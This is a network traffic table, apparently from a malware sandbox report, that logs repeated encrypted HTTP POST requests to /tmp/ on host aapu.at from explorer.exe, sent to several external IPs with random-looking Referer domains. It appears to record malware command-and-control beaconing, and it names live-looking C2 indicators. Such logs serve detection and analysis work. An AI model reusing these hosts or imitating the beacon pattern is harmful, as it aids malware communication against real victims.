2	192.168.2.4	49695	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:42.246368885 CET	91	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ypasjfn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 313 Host: aapu.at
Mar 24, 2023 01:26:42.246409893 CET	92	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 79 24 c6 a6 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA .[k,vuy$J.sYFW3%6Hp]jYJ5Fo$@NYV'TB!k=0E(h8j:;LJ}~GQ\.Oq` 6Q/
Mar 24, 2023 01:26:43.507014036 CET	92	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 86 e4 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49714	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:59.149574995 CET	713	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ntgrenbkyt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: aapu.at
Mar 24, 2023 01:26:59.149610043 CET	713	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 21 08 bd 90 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu!s8ooq#H6^<[TfOAVZ]j+007S3\|ywoYR7C$",11rWWQ11\|WF~;z
Mar 24, 2023 01:26:59.295591116 CET	714	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:26:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49715	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:26:59.611423969 CET	715	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://shqmhngl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: aapu.at
Mar 24, 2023 01:26:59.611493111 CET	715	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 7f 4f d7 f6 Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vuOiIuqeU2G pEig#PY&3?rM)G#]n ~8`h\RQ[^iE@jnG)g{4
Mar 24, 2023 01:27:00.587011099 CET	716	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49716	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:00.715015888 CET	717	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://asoeevkt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: aapu.at
Mar 24, 2023 01:27:00.715075970 CET	717	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 30 0f c1 9e Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vu0zQp`\|$y9nkkvB=#]8OAP%[zh.u3I1m[w4P]1"R6WRy4f
Mar 24, 2023 01:27:00.958151102 CET	718	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49717	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:01.100115061 CET	719	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nexfy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 238 Host: aapu.at
Mar 24, 2023 01:27:01.100167036 CET	719	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 79 4f aa e9 Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuyOV]vEdFT?ZdE(2xAOt!84"W#7M<^7rpqGR/mPC3oA0n
Mar 24, 2023 01:27:01.297003984 CET	720	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49718	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:01.625427008 CET	721	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nhynvvhuci.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 138 Host: aapu.at
Mar 24, 2023 01:27:01.625477076 CET	721	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 6f 2e cb bf Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vuo.wbVMWEEZ^-\|)PD
Mar 24, 2023 01:27:02.773081064 CET	722	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49719	211.119.84.112	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:03.086182117 CET	723	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fidvajo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 256 Host: aapu.at
Mar 24, 2023 01:27:03.086229086 CET	723	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 5c 53 fb ee Data Ascii: ;nY!pwr\|~btyHnY[&?*$`7C[zqNA -[k,vu\Sd-^M[JvLHin1V;?QQW>J0RP]4!6#\!!"(xiO#,zRi2G?}s.+-
Mar 24, 2023 01:27:04.380837917 CET	724	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49720	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:04.692193031 CET	725	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xlbxh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 325 Host: aapu.at
Mar 24, 2023 01:27:04.692238092 CET	725	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 3a 0e f1 9a Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vu:POL`GQujsC\|U&N%;H$)B5Z%^nv,`S%4s@-uSyrTReM1
Mar 24, 2023 01:27:04.832022905 CET	726	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49721	109.98.58.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:04.984473944 CET	727	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ucgukugr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 144 Host: aapu.at
Mar 24, 2023 01:27:04.984529972 CET	727	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 55 0b c6 81 Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vuUZZy'_toaoN@Lx!)M]
Mar 24, 2023 01:27:05.221875906 CET	728	IN	HTTP/1.0 404 Not Found Date: Fri, 24 Mar 2023 00:27:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49722	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 24, 2023 01:27:05.734298944 CET	729	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gkigcf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 210 Host: aapu.at
Mar 24, 2023 01:27:05.734342098 CET	729	OUT	Data Raw: 3b 6e 59 17 f0 be 1a 21 a9 a9 c1 70 77 72 7c b9 7e 08 bb 97 62 74 92 11 01 79 0e e7 48 c6 b2 6e ea 59 b6 5b 0f 1a 26 11 ea 9a 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 31 20 e4 f8 Data Ascii: ;nY!pwr\|~btyHnY[&?$`7C[zqNA -[k,vu1 QBC_v;JRq)=kjI'Af/_/~?1q'dW;vYAO!Y
